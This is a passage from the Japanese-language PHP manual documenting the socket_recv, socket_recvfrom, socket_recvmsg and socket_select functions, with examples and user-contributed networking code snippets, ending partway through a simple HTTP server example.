MSG_WAITALL | 最低 length バイト受信するまでブロックします。 しかし、シグナルを受け取ったりリモートホストが接続を切断したりした場合は、 この関数が返すデータがそれより少なくなる可能性があります。
MSG_DONTWAIT | このフラグを設定すると、正常にブロックされている状態でも関数が結果を返します。

返り値

socket_recv() は、受信したバイト数を返します。 エラーが発生した場合は false を返します。 実際のエラーコードを取得するには socket_last_error() をコールします。 このエラーコードを socket_strerror() に渡すと、エラーに関する説明テキストを取得することができます。

変更履歴

バージョン | 説明
8.0.0 | socket は、Socket クラスのインスタンスになりました。 これより前のバージョンでは、リソース型でした。

例

例1 socket_recv() の例

この例は、 例 の最初の例を書き換えて socket_recv() を使う形式にしたものです。

<?php
error_reporting(E_ALL);

echo "<h2>TCP/IP Connection</h2>\n";

/* WWW サービスのポートを取得します */
$service_port = getservbyname('www', 'tcp');

/* 対象となるホストの IP アドレスを取得します */
$address = gethostbyname('www.example.com');

/* TCP/IP ソケットを作成します */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
    echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
} else {
    echo "OK.\n";
}

echo "Attempting to connect to '$address' on port '$service_port'...";
$result = socket_connect($socket, $address, $service_port);
if ($result === false) {
    echo "socket_connect() failed.\nReason: ($result) " . socket_strerror(socket_last_error($socket)) . "\n";
} else {
    echo "OK.\n";
}

$in = "HEAD / HTTP/1.1\r\n";
$in .= "Host: www.example.com\r\n";
$in .= "Connection: Close\r\n\r\n";
$out = '';

echo "Sending HTTP HEAD request...";
socket_write($socket, $in, strlen($in));
echo "OK.\n";

echo "Reading response:\n\n";
$buf = 'This is my buffer.';
if (false !== ($bytes = socket_recv($socket, $buf, 2048, MSG_WAITALL))) {
    echo "Read $bytes bytes from socket_recv(). Closing socket...";
} else {
    echo "socket_recv() failed; reason: " . socket_strerror(socket_last_error($socket)) . "\n";
}
socket_close($socket);

echo $buf . "\n";
echo "OK.\n\n";
?>

上の例の出力は、このようになります。

<h2>TCP/IP Connection</h2>
OK.
Attempting to connect to '208.77.188.166' on port '80'...OK.
Sending HTTP HEAD request...OK.
Reading response:

Read 123 bytes from socket_recv(). Closing socket...HTTP/1.1 200 OK
Date: Mon, 14 Sep 2009 08:56:36 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Tue, 15 Nov 2005 13:24:10 GMT
ETag: "b80f4-1b6-80bfd280"
Accept-Ranges: bytes
Content-Length: 438
Connection: close
Content-Type: text/html; CHARSET=shift-jis

OK.

User Contributed Notes

Anonymous 10-Mar-2021 09:49
<?php

namespace Safe;

use Safe\Exceptions\SocketsException;

/**
 * After the socket socket has been created
 * using socket_create, bound to a name with
 * socket_bind, and told to listen for connections
 * with socket_listen, this function will accept
 * incoming connections on that socket. Once a successful connection
 * is made, a new socket resource is returned, which may be used
 * for communication. If there are multiple connections queued on
 * the socket, the first will be used. If there are no pending
 * connections, socket_accept will block until
 * a connection becomes present. If socket
 * has been made non-blocking using
 * socket_set_blocking or
 * socket_set_nonblock, FALSE will be returned.
 *
 * The socket resource returned by
 * socket_accept may not be used to accept new
 * connections. The original listening socket
 * socket, however, remains open and may be
 * reused.
 *
 * @param resource $socket A valid socket resource created with socket_create.
 * @return resource Returns a new socket resource on success. The actual
 * error code can be retrieved by calling
 * socket_last_error. This error code may be passed to
 * socket_strerror to get a textual explanation of the
 * error.
 * @throws SocketsException
 *
 */
function socket_accept($socket)
{
    error_clear_last();
    $result = \socket_accept($socket);
    if ($result === false) {
        throw SocketsException::createFromPhpError();
    }
    return $result;
}

/**
 * Create a Socket resource, and bind it to the provided AddrInfo resource.  The return
 * value of this function may be used with socket_listen.
 *
 * @param resource $addr Resource created from socket_addrinfo_lookup.
 * @return resource Returns a Socket resource on success.
 * @throws SocketsException
 *
 */
function socket_addrinfo_bind($addr)
{
    error_clear_last();
    $result = \socket_addrinfo_bind($addr);
    if ($result === null) {
        throw SocketsException::createFromPhpError();
    }
    return $result;
}
lexkrstn at gmail dot com 05-Nov-2018 06:21
It seems like the flags are just passed to the underlying recv() function of your OS, hence there no MSG_DONTWAIT flag on Windows and you should not define it yourself in that case, it just won't work.
e-vela at bol dot com dot br 23-Jul-2017 07:39
Usage example for MSG_PEEK: this function tells if the socket has data available to be read, but preserving it to be read at a future moment.

<?php
// Workaround for the missing define
if(!defined('MSG_DONTWAIT')) define('MSG_DONTWAIT', 0x40);

// Function to check if there is data available in the socket
function SocketHasData($socket) {
    // Based on the following fact:
    // $result=0 -> disconnected, $result=false -> no data

    $data = ''; // We need a buffer, but we won't use it

    // MSG_PEEK means to preserve data in the queue, so it can
    // actually be read afterwards
    $result = socket_recv($socket, $data, 1, MSG_PEEK | MSG_DONTWAIT );

    if ($result === false) return false; // If no data, returns false
    return true; // Otherwise returns true
}
?>
cottton at i-stats dot net 13-Oct-2014 02:17
socket_recv()
returns FALSE if client returned no data
returns 0 (zero) if client disconnected

also (asuming case socket_select() "gave" us a "changed" socket):
if
socket_recv() returned FALSE
and no bytes were received
then
client "crashed" (call it disconnected).

else if
socket_recv() returned 0 (zero)
and no bytes were received
then
client "normaly" disconnected.

Im pretty sure -- 99.99%.
Example:
<?php
function receive($socket)
{
    // !
    // on all following cases we assume that
    // socket_select() returned the current socket as "changed"
    // !

    $timeout = 3; // set your timeout

    /* important */
    $socket_recv_return_values['no_data_received'] = false;
    $socket_recv_return_values['client_disconnected'] = 0;

    $start = time();
    $received_data = null;
    $received_bytes = null;
    socket_set_nonblock($socket);
    socket_clear_error();
    while(
        ($t_out=((time()-$start) >= $timeout)) === false
        and ($read=@socket_recv($socket, $buf, 4096, 0)) >= 1
    ){
        $received_data  = (isset($received_data)) ? $received_data . $buf : $buf;
        $received_bytes = (isset($received_bytes)) ? $received_bytes + $read : $read;
    }
    $last_error = socket_last_error($socket);
    socket_set_block($socket);

    if($t_out === true){
        throw new Exception(
            'timeout after ' . ((!$received_bytes) ? 0 : $received_bytes) . ' bytes',
            0 // your eCode here
        );
    }
    elseif($last_error !== false and $last_error !== 0){
        throw new Exception(
            socket_strerror($last_error),
            $last_error
        );
    }
    else{
        if($read === $socket_recv_return_values['no_data_received']){
            // client returned NO DATA
            // but we were in a loop and could have got some data before:
            if($received_bytes < 1){
                // client is connected but sent NO DATA ?
                // no:
                // in this case the client must be "crashed" because -
                // it is not possible to "send no data" (zero bytes)
                // socket_select() now returns this socket as "changed" "forever"
                throw new Exception(
                    'client crashed',
                    0 // your eCode here
                );
            }else{
                // client returned DATA
                return $received_data;
            }
        }
        elseif($read === $socket_recv_return_values['client_disconnected']){
            // client disconnected
            if($received_bytes < 1){
                // client disconnected before/without sending any bytes
                throw new Exception(
                    'client disconnected',
                    0 // your eCode here
                );
            }
            else{
                // *this value* ^= $socket_recv_return_values['client_disconnected']
                //
                // client disconnected AFTER sending data (we were in a loop!)
                // socket_select() will return this socket "forever" as "changed" and -
                // socket_recv() will return *this value* "forever".
                // we will be "back" again "very soon" to see:
                //  socket_recv() returns *this value* AND no bytes received
                //  which results in disconnect-exception above
                return $received_data;
            }
        }
    }
}
?>
m_lajos at hotmail dot com 14-Jul-2014 03:45
Workaround for the missing MSG_DONTWAIT flag according to the bug report page:

<?php if(!defined('MSG_DONTWAIT')) define('MSG_DONTWAIT', 0x40); ?>
ss-130 at yandex dot ru 17-Jul-2013 11:09
<?php
$er = error_reporting(0);
$bytes    = socket_recv($socket,$buffer,1,MSG_WAITALL);
error_reporting($er);

// MEGA BUG HERE
// this statuses are wrong and swapped, closed socket must be with "FALSE"
// but in fact he swap the values:
// http://php.net/manual/en/function.socket-recv.php
//
if($bytes===false){ // no data available, socket not closed
    echo 'WS_READ_ERR1: '.socket_strerror(socket_last_error($socket)).PHP_EOL;
    // print when no data available:
    // WS_READ_ERR1: Resource temporarily unavailable
    continue;
}else if($bytes===0){ // socket closed
    echo 'WS_READ_ERR2: '.socket_strerror(socket_last_error($socket)).PHP_EOL;
    // print when socket closed:
    // WS_READ_ERR2: Success
    $process->close();
}

?>
davide dot renzi at gmail dot com 01-Mar-2012 08:50
In PHP version 5.* there is a bug: MSG_DONTWAIT flag is not defined (see https://bugs.php.net/bug.php?id=48326)
rathamahata at rathamahata dot net 25-Aug-2005 04:44
It looks like that mysterious flags are just the recv(2) flags passed to your OS syscall and nothing more...

ext/sockets/sockets.c:PHP_FUNCTION(socket_recv)
...
        if ((retval = recv(php_sock->bsd_socket, recv_buf, len, flags)) < 1) {
                efree(recv_buf);
...

for linux you can type `man 2 recv' and you will see complete description of thouse flags.

Sergey S. Kosrtyliov <rathamahata@rathamahata.net>
http://www.rathamahata.net/
06-May-2005 04:59
My last post was incorrect. The int flag set to 2 apparently reset the file position pointer so what I was reading was the first record repeatedly.

My workaroud ended up being the following:

for($ct=1; $ct<=$numrecs; $ct++) {
    $rec = "";
    $nr=socket_recv($fp,$rec,76,0);

    //grab the extra bytes.
    $terminator = "";
    while ($terminator != ".") {
        $nr=socket_recv($fp,$terminator,1,0);
    }

     $custarray[]=substr($rec,0,76);
}

Martin K.
05-May-2005 07:42
I'm glad that Bastion left the above post about the mysterious int flag. He just helped to fix a problem that I've spent six hours on. Here's my code:

for($ct=1; $ct<=$numrecs; $ct++) {
     $rec = "";
     $nr=socket_recv($fp,$rec,77,0);
     print "Rec # $ct -->";
         print "$rec";
         print "<br>";
      }

The code is pretty simple, it just loops through all my records and prints them out. All records are 77 bytes and all end with a period. The first 36 records print perfectly then at 37 things go bad. The records start to get offset. The last few characters of the 37th record end up printing on the 38th record. The data on the sending side was perfect, so I knew that the problem was with socked_recv.

After reading the above post I tried changing the int flag. Changing the flag to 2 worked:
$nr=socket_recv($fp,$rec,77,2);

Now everything lines up perfectly. I had always left int flag as 0 since it's undocumented.

Martin K.
engine at [NO SPAM] illusiononly dot com 30-Nov-2004 04:58
To read from socket both on linux and windows OS having  flash as a client I use function bellow. $length is the size of  a chunk, not the max length to read. It will continue reading until EOL char  occures or client disconnects (or in case of error), so it works for bigger packets as well.

     function read($descriptor, $length = 1024) {
            $this->method = "read";
            if(!$client){
                echo("No valid socket descriptor !\n");
                return false;
            }
            $read ='';
        while(($flag=socket_recv($descriptor, $buf, $length,0))>0){
              $asc=ord(substr($buf, -1));
            if ($asc==0) {
                $read.=substr($buf,0,-1);
                break;
            }else{
                $read.=$buf;
            }
        }
           if ($flag<0){
            //error
            return false;
        }elseif ($flag==0){
            //Client disconnected
            return  false;
        }else{
              return $read;
        }

     }
dgk at tcde dot ru 05-Nov-2004 03:57
I've used socket_select and socket_recv with a while loop and found myself in trouble when remote side closed connection. The code below produced infinite loop and socket_select returned immediately (which lead to high cpu time consumption).

<?

socket_set_nonblock($my_socket);
$streams = array($my_socket/*, ... */);

$lastAccess = time();
while (socket_select($streams, $write = NULL, $except = NULL, SLEEP_TIME_SECONDS, SLEEP_TIME_MILLISECONDS) !== FALSE) {
    if (in_array($my_socket, $streams)) {
        while (@socket_recv($my_socket, $data, 8192, 0)) {
            echo $data;
        }
        $lastAccess = time();
    } else {
        if (time()-$lastAccess > LAST_ACCESS_TIMEOUT) {
            break;
        }
    }
    // ...
    $streams = array($my_socket/*, ... */);
}

?>

The solution was simple, but quite hard to find because socket_recv is not documented. socket_recv returns FALSE if there is no data and 0 if the socket is widowed (disconnected by remote side). So I had just to check return value of socket_recv. The problem now sounds stupid, but I've spend some time to find it out.
I hope this will save some of somebody's hair ;)
bastiaan at [no-spam] megabass dot nl 05-Apr-2004 09:35
in case you want to empty/unset $buffer, but failing to do so, try using 0 as flag.
PHP_NORMAL_READ and PHP_BINARY_READ respectively hold 1 and 2 as value.


接続しているかどうかによらず、ソケットからデータを受信する

  • ≪ socket_recv
  • socket_recvmsg ≫
  • PHP Manual
  • ソケット 関数
  • 接続しているかどうかによらず、ソケットからデータを受信する

socket_recvfrom

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_recvfrom — 接続しているかどうかによらず、ソケットからデータを受信する

説明

socket_recvfrom ( Socket $socket , string &$data , int $length , int $flags , string &$address , int &$port = null ) : int|false

socket_recvfrom() 関数は、 ポート port (AF_UNIX 型のソケットである場合を除く) 上の address から受信した length バイトのデータを data に格納します。 socket_recvfrom() は、 接続済みのソケットだけでなく接続していないソケットに対しても使用可能です。 さらに、フラグを指定することでこの関数の挙動を設定できます。

address と port は参照渡しとしなければなりません。接続していないソケットの場合は、 address はリモートホストの IP アドレスか UNIX ソケットへのパスとなります。接続済みのソケットの場合は、 address は null とします。 また、AF_INET あるいは AF_INET6 形式のまだ接続していないソケットの場合、 port にはリモートホストのポート番号を指定します。

注意: この関数はバイナリデータに対応しています。

パラメータ

socket

socket には、 socket_create() で作成した Socket クラスのインスタンスを指定します。

data

受信したデータが data に格納されます。

length

最大 length バイトまでのデータをリモートホストから取得します。

flags

flags の値は、以下のフラグの任意の組み合わせを 論理 OR 演算子 (|) で連結したものとなります。

flags に使用できる値
フラグ | 説明
MSG_OOB | 帯域外 (out-of-band) のデータを処理する。
MSG_PEEK | 受信キューの先頭にあるデータを受信し、 そのデータをそのままキューに残しておく。
MSG_WAITALL | 少なくとも length バイト受信するまではブロックする。 しかし、もし何らかのシグナルを受信したりリモートホストとの接続が切断された場合は これより少ないバイト数を返す可能性がある。
MSG_DONTWAIT | 通常はブロックする場面であってもそのまま return する。
address

AF_UNIX 型のソケットの場合は、 address はファイルへのパスとなります。 それ以外の場合は、未接続のソケットの場合には address はリモートホストの IP アドレスとなります。 接続済みソケットの場合は null となります。

port

この引数は AF_INET 型あるいは AF_INET6 型のソケットに対してのみ適用され、 データを受信するリモートホストのポートを指定します。 接続済みソケットの場合は port は null となります。

返り値

socket_recvfrom() は、受信したバイト数を返します。 あるいはエラー時には false を返します。 エラーコードを取得するには socket_last_error() をコールします。取得したエラーコードを socket_strerror() に渡すと、 そのエラーについての説明を得ることができます。

変更履歴

バージョン | 説明
8.0.0 | socket は、Socket クラスのインスタンスになりました。 これより前のバージョンでは、リソース型でした。

例

例1 socket_recvfrom() の例

<?php
error_reporting(E_ALL | E_STRICT);

$socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_bind($socket, '127.0.0.1', 1223);

$from = '';
$port = 0;
socket_recvfrom($socket, $buf, 12, 0, $from, $port);

echo "リモートアドレス $from のポート $port から $buf を受信しました" . PHP_EOL;
?>

この例は、127.0.0.1 のポート 1223 との UDP ソケットを確立し、受信したデータを最大 12 バイトまで表示します。

参考

  • socket_recv() - 接続したソケットからデータを受信する
  • socket_send() - 接続したソケットにデータを送信する
  • socket_sendto() - 接続しているかどうかによらずソケットにメッセージを送信する
  • socket_create() - ソケット（通信時の終端）を作成する

User Contributed Notes

ply2attoetensen-project.com 17-Dec-2016 10:07
MSG_DONTWAIT doesn't seem to exist in windows sockets. However socket_set_nonblock() seems to do the trick.
lorin dot weilenmann at gmail dot com 21-Aug-2015 10:24
If you use socket_recvfrom on a UDP socket and combine it with the MSG_DONTWAIT flag, it will raise a PHP Warning if there is nothing to read. AFAIK, there is no way around that warning except suppressing it with @ (i.e. you cannot check if there is data before calling socket_recvfrom).
davide dot renzi at gmail dot com 01-Mar-2012 08:52
Pay attention! On some PHP version the MSG_DONTWAIT flag is not defined (see https://bugs.php.net/bug.php?id=48326)
jaggerwang at gmail dot com 07-Nov-2007 09:56
I'm confused about the rerturn value of socket_recvfrom(), it said -1 when failed, but when I call like this:

if (($len = @socket_recvfrom($sock, $result, 32, 0, $ip, $port)) == -1) {
    if ($this->_debug) {
        echo "socket_read() failed: " . socket_strerror(socket_last_error()) . "\n";
    }
    return false;
}

variable $len = false, when I change the buffer length from 32 to 4096, it becomes right.
ryan_at_ryanfisher_dot_com 01-Oct-2006 10:27
DNS RELAY USING UDP SOCKETS

<?php

while(TRUE) {
   $socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
   if($socket === FALSE)
   {
       echo 'Socket_create failed: '.socket_strerror(socket_last_error())."\n";
   }
   if(!socket_bind($socketD, "0.0.0.0", 53)) {
       socket_close($socketD);
       echo 'socket_bind failed: '.socket_strerror(socket_last_error())."\n";
   }
   socket_recvfrom($socket,$buf,65535,0,$clientIP,$clientPort);
   $stz = bin2hex($buf);
   $tx = "";
   for($i=0;$i<(strlen($stz)-26-10)/2;$i++)
   {
     $e = "00";
     $e[0] = $stz[$i*2+26];
     $e[1] = $stz[$i*2+27];
     $f = hexdec($e);
     if($f > 0 && $f < 32) $tx .= "."; else
     $tx .= sprintf("%c",$f);
   }
   echo "$clientIP <".$tx.">\n";
   $fp = fsockopen("udp://72.174.110.4",53,$errno,$errstr);
   if (!$fp)
   {
       echo "ERROR: $errno - $errstr<br />\n";
   }
   else
   {
      fwrite($fp,$buf);
      $ret = $buf;
      $ret = fread($fp,667);
      fclose($fp);
   }
  }
socket_send($socket,$ret,667,0);
}
?>


メッセージを読む

  • ≪ socket_recvfrom
  • socket_select ≫
  • PHP Manual
  • ソケット 関数
  • メッセージを読む

socket_recvmsg

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

socket_recvmsg — メッセージを読む

説明

socket_recvmsg ( Socket $socket , array &$message , int $flags = 0 ) : int|false

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

socket

message

flags

返り値

変更履歴

バージョン | 説明
8.0.0 | socket は、Socket クラスのインスタンスになりました。 これより前のバージョンでは、リソース型でした。

参考

  • socket_sendmsg() - メッセージを送信する
  • socket_cmsg_space() - メッセージバッファサイズを計算する

User Contributed Notes

There are no user contributed notes for this page.


与えられたソケットの配列に対し、指定した有効時間で select() システムコールを実行する

  • ≪ socket_recvmsg
  • socket_send ≫
  • PHP Manual
  • ソケット 関数
  • 与えられたソケットの配列に対し、指定した有効時間で select() システムコールを実行する

socket_select

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_select — 与えられたソケットの配列に対し、指定した有効時間で select() システムコールを実行する

説明

socket_select ( array|null &$read , array|null &$write , array|null &$except , int|null $seconds , int $microseconds = 0 ) : int|false

socket_select() はソケットの配列を受け取り、 それらの状態が変化するまで待ちます。BSD のソケットについての知識がある方なら、 これらのソケットの配列が、いわゆるファイル記述子セットであることがご理解いただけるでしょう。 3 つの独立した配列でソケットを監視します。

パラメータ

read

配列 read に挙げられたソケットでは、 文字が読み込み可能になっているかどうか（厳密に言うと、読み込みが ブロックされていないかどうか - 実際には、ソケット記述子はファイルの 終端でも有効です。そのような場合、socket_read() は長さゼロの文字列を返します）を監視します。

write

配列 write に挙げられたソケットでは、 書き込みがブロックされていないかどうかを監視します。

except

配列 except に挙げられたソケットでは、 例外を監視します。

seconds

seconds および microseconds は、ともにタイムアウトを指定するパラメータです。 タイムアウトは、socket_select() が結果を返すまでの経過時間の最大値です。 seconds はゼロにすることも可能で、そうすると socket_select() は結果をすぐに返します。 これはポーリングをする際に有用です。seconds に null（タイムアウトしない）を指定すると、 socket_select() は無期限にブロックします。

microseconds

警告

終了時に配列は書き換えられ、 どのソケットの状態が変わったのかがわかるようになります。

socket_select() のすべての配列を設定する必要はありません。 使用しないものについては空の配列や null をかわりに指定しておくことが可能です。 また、これらの配列は参照渡し であり、 socket_select() をコールした後でその中身が書き換えられていることに注意しましょう。

注意:

現状の Zend Engine の制限により、関数の参照渡しパラメータに null のような定数値を直接渡すことができません。一時的な変数を使用するか、 あるいは一番左に一時変数を使用する式を使用してください。

例1 socket_select() での null の使用

<?php
$e = NULL;
socket_select($r, $w, $e, 0);
?>

返り値

成功した場合は、socket_select() は配列内で 変化のあったソケットの数を返します。もし何かがおこる前に タイムアウト時間が経過した場合は、ゼロを返すことになります。 エラー時には false が返されます。エラーコードは socket_last_error() で取得可能です。

注意:

エラーかどうかを調べる際には、必ず === 演算子を 使用するようにしましょう。socket_select() は 0 を返す場合もあり、このような場合に == を用いて比較すると、エラーと判定されてしまいます。

例2 socket_select() の返す結果を知る

<?php
$e = NULL;
if (false === socket_select($r, $w, $e, 0)) {
    echo "socket_select() は失敗しました。原因: " .
        socket_strerror(socket_last_error()) . "\n";
}
?>

例

例3 socket_select() の例

<?php
/* 読み込み用の配列を準備する */
$read   = array($socket1, $socket2);
$write  = NULL;
$except = NULL;
$num_changed_sockets = socket_select($read, $write, $except, 0);

if ($num_changed_sockets === false) {
    /* エラー処理 */
} else if ($num_changed_sockets > 0) {
    /* すくなくともひとつのソケットで、何らかの出来事が起こっています */
}
?>

注意

注意:

ソケットの実装によっては、取り扱いに注意すべきものがあることを知っておいてください。 基本的なルールは以下のとおりです。

  • 基本的に socket_select() のタイムアウトは 指定しないように心がけましょう。もしデータがなかった場合に、 プログラム側でそれを判定できなくなってしまいます。タイムアウトに 依存しているコードは移植性が悪く、デバッグが困難です。
  • socket_select() のコール後に値をチェックして 適切に処理するつもりがないソケットは、決して配列に追加してはいけません。 socket_select() から値が返ってきたあとは、 配列内のすべてのソケットをチェックする必要があります。 すべての書き込み用ソケットは書き込める必要がありますし、 またすべての読み込み用ソケットは読み込める必要があります。
  • 配列で返されたソケットに対して読み込み/書き込みをする場合には、 指定したデータを必ずしもすべて読み込み/書き込みするとは限らないことを 知っておいてください。たった 1 バイトしか読み込み/書き込みが できなかった場合にも対処できるよう準備しておきましょう。
  • ほとんどのソケット実装で、except でキャッチできる 例外はただひとつ、すなわちソケットが受け取ったデータが帯域外で あったということだけです。

参考

  • socket_read() - ソケットから最大バイト長まで読みこむ
  • socket_write() - ソケットに書き込む
  • socket_last_error() - ソケットの直近のエラーを返す
  • socket_strerror() - ソケットエラーの内容を文字列として返す

User Contributed Notes

juanfe0245 at gmail dot com 14-Jan-2020 09:39
<?php
//Creamos un socket de transmision de tipo TCP / IP.
$servidorSocket=socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
//Configuramos la opcion para reutilizar el puerto.
socket_set_option($servidorSocket,SOL_SOCKET,SO_REUSEADDR,1);
/*
    Vinculamos el socket a nuestro puerto y direccion IP.
    Ahora, todas las conecciones en este puerto son nuestro responsabilidad para recibir y enviar datos.
*/
socket_bind($servidorSocket,'localhost',9000);
//Comenzamos a escuchar conexiones.
socket_listen($servidorSocket);
/*
    Creamos un arreglo con todos los clientes que se conectaran a nuestro servidor.
    Anadimos nuestro socket servidor al arreglo de clientes.
*/
$clientes=[$servidorSocket];
$null=null;
while(true){
    //Creamos una copia de $clientes, debido a que $clientes no se modifica por la funcion socket_select().
    $nuevoClienteLector=$clientes;
    //Obtenemos una lista de todos los clientes que tienen datos para leer.
    socket_select($nuevoClienteLector,$null,$null,10);
    //Verificamos si hay un cliente tratando de conectarse.
    if(in_array($servidorSocket,$nuevoClienteLector)){
        //Aceptamos el cliente y lo anadimos al arreglo de $clientes.
        $nuevoCliente=socket_accept($servidorSocket);
        echo "Socket aceptado.\n";
        $clientes[]=$nuevoCliente;
        //Obtenemos el encabezado del cliente y realizamos la comprobacion del handshake.
        $encabezado=socket_read($nuevoCliente,1024);
        handshake($nuevoCliente,$encabezado);
        //Eliminamos el cliente del arreglo $nuevoClienteLector.
        $nuevoClienteIndex=array_search($servidorSocket,$nuevoClienteLector);
        unset($nuevoClienteLector[$nuevoClienteIndex]);
    }
    //Recorremos todos los clientes que tienen datos por leer.
    foreach($nuevoClienteLector as $cliente){
        //Recibimos informacion del cliente conectado.
        while(socket_recv($cliente,$datosCliente,1024,0)>=1){
            //Decodificamos el mensaje que viene en bytes.
            $mensaje=decodificar($datosCliente);
            //Enviamos el mensaje a todos los sockets conectados.
            enviar($clientes,$mensaje);
            echo $mensaje."\n";
            break 2;
        }
        //Verificamos si el cliente esta desconectado.
        $datosCliente=@socket_read($cliente,1024,PHP_NORMAL_READ);
        if($datosCliente===false){
            $clienteIndex=array_search($cliente,$clientes);
            //Eliminamos el cliente del arreglo $clientes.
            unset($clientes[$clienteIndex]);
            echo "Cliente desconectado.\n";
        }
    }
}
function enviar($clientes,$mensaje){
    $mensaje=codificar($mensaje);
    foreach($clientes as $cliente){
        @socket_write($cliente,$mensaje,strlen($mensaje));
    }
}
socket_close($servidorSocket);
function codificar($socketData){
    $b1 = 0x80 | (0x1 & 0x0f);
    $length = strlen($socketData);

    if($length <= 125)
        $header = pack('CC', $b1, $length);
    elseif($length > 125 && $length < 65536)
        $header = pack('CCn', $b1, 126, $length);
    elseif($length >= 65536)
        $header = pack('CCNN', $b1, 127, $length);
    return $header.$socketData;
}
function decodificar($socketData) {
    $length = ord($socketData[1]) & 127;
    if($length == 126) {
        $masks = substr($socketData, 4, 4);
        $data = substr($socketData, 8);
    }
    elseif($length == 127) {
        $masks = substr($socketData, 10, 4);
        $data = substr($socketData, 14);
    }
    else {
        $masks = substr($socketData, 2, 4);
        $data = substr($socketData, 6);
    }
    $socketData = "";
    for ($i = 0; $i < strlen($data); ++$i) {
        $socketData .= $data[$i] ^ $masks[$i%4];
    }
    return $socketData;
}
function handshake($client_socket_resource,$received_header) {
    $headers = array();
    $lines = preg_split("/\r\n/", $received_header);
    foreach($lines as $line){
        $line = chop($line);
        if(preg_match('/\A(\S+): (.*)\z/', $line, $matches)) $headers[$matches[1]] = $matches[2];
    }
    $secKey = $headers['Sec-WebSocket-Key'];
    $secAccept = base64_encode(pack('H*', sha1($secKey . '258EAFA5-E914-47DA-95CA-C5AB0DC85B11')));
    $buffer  = "HTTP/1.1 101 Web Socket Protocol Handshake\r\n" .
    "Upgrade: websocket\r\n" .
    "Connection: Upgrade\r\n" .
    "Sec-WebSocket-Accept:$secAccept\r\n\r\n";
    socket_write($client_socket_resource,$buffer,strlen($buffer));
}
renmengyang567 at gmail dot com 09-Apr-2019 12:18
<explain>
 A simple socket-select case ^_^

<?php
$sock = socket_create(AF_INET, SOCK_STREAM, getprotobyname('tcp'));
socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1);
socket_bind($sock, '127.0.0.1',5000);
socket_listen($sock,1024);
$all_sock[(int)$sock] = $sock;

while (true) {
    $read = $write = $except = [];
    $tv_sec = 5;
    $tv_usec = 5000;
    $read = $all_sock;

    $changed = socket_select($read, $write, $except, $tv_sec, $tv_sec);

    if (false == $changed)
        print "[error]socket_select() failed
        (" .socket_strerror(socket_last_error()) . ")\n";

    if ($changed < 1)
       continue;

    //var_dump($read);
    //sleep(2);
    foreach ($read as $rsock) {
        // 服?端?接
        if ($rsock === $sock) {
            $client = socket_accept($sock);
            $all_sock[(int)$client] = $client;

        } else {//客?端?接
            $msg= socket_read($rsock, 400,PHP_NORMAL_READ);
            if ($msg !== '') {
                var_dump($msg);
            }
        }
    }
}
socket_close($sock);
malcolm.murphy 31-Jul-2016 06:55
This was mentioned by [Viorel] above but I think it warrants being repeated...

The example provided by [vardhan ( at ) rogers ( dot ) com], while otherwise exceptional, uses the value int(0) for $tv_sec which will cause the iteration to loop as fast as possible, consequently using up any available CPU time.

*** Ideally, $tv_sec should always be set to NULL ***, especially if you are using socket_select in a loop. If you must temporarily stop listening for events to perform another task, then the timeout should be as high as possible to reduce CPU strain (another note suggested preventing 100% CPU usage by setting a low $tv_usec value, which only makes the problem slightly less worse but does not solve it).

Setting the timeout to an explicit null value is basically the same as setting it to infinite. The script will only execute the while loop once every time there is an event.
antti r 16-Dec-2015 12:16
as of 12/2015 and php 5.3.3, the socket_select() maximum sockets is still 1024 and not risable by process file limits (bash ulimit -n). PHP new compilation is required to raise the limits. Or one might rather choose forking or multiple binaries.
simon dot riget at gmail dot com 07-Dec-2013 08:28
A verry simple HTTP webserver written in PHP
Run it in the shell with php <name of file> and test in in the browser with <server address>:8080/test

<?php
  // Reduce the amount of warnings displayed
  error_reporting(E_ALL ^ E_NOTICE);

  // Set up socket for listening
  $host_socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if(!$host_socket) die("Failed to start event server. socket_create: ". socket_strerror(socket_last_error())."\n");

  // set the option to reuse the port
  if(! socket_set_option($host_socket, SOL_SOCKET, SO_REUSEADDR, 1) )
    die("Failed to start event server. socket_set_option: ". socket_strerror(socket_last_error())."\n");

  // bind host socket to localhost or 0.0.0.0 on port 8080
  if(! socket_bind($host_socket,"0.0.0.0",8080) )
    die("Failed to start event server. socket_bind: ". socket_strerror(socket_last_error())."\n");

  // start listening for connections
  if(! socket_listen($host_socket,10) )
    die("Failed to start event server. socket_listen: ".socket_strerror(socket_last_error())."\n");

  while (true) {
    // Make list of sockets to listen for changes in, including host
    $read = array($host_socket);

    // get a list of all the clients that have data to be read from
    $ready=@socket_select($read, $write = NULL, $except = NULL,0);
    if ($ready=== false)
      die("Failed to listen for clients: ". socket_strerror(socket_last_error()));

    // a client request service
    elseif($ready>0){
      // accept new client
      $newsocket = socket_accept($host_socket);

      // Read from socket
      $input = socket_read($newsocket, 1024);
      if($input){
        unset($client_header);
        // Read headers; Split into safe lines
        $line=explode("\n",preg_replace('/[^A-Za-z0-9\-+\n :;=%*?.,\/_]/','',substr($input,0,2000)));
        // Split request line into its parts
        list($client_header["method"],$client_header["url"],$client_header["protocol"])=explode(" ",$line[0]);
        // Remove the request line again.
        unset($line[0]);
        // Make key=value array of headers
        foreach($line as $l){
          list($key,$val)=explode(": ",$l);
          if($key) $client_header[strtolower($key)]=$val;
        }
        // Get IP of client
        socket_getpeername($newsocket, $client_header['ip']);

        // Decode url
        $client_header+=(array)parse_url($client_header['url']);
        parse_str($client_header['query'],$client_header['arg']);

        print_r($client_header);

        // Serve file
        if(strpos($client_header['path'],".html") && file_exists(__DIR__.$client_header['path'])){
          echo "Sending a HTML page to client\n";
          socket_write($newsocket,"$client_header[protocol] 200 OK\r\n");
          socket_write($newsocket,"Content-type: text/html; CHARSET=shift-jis\r\n\r\n");
          socket_write($newsocket,file_get_contents(__DIR__.$client_header['path'])."\r\n\r\n");
          socket_close($newsocket);
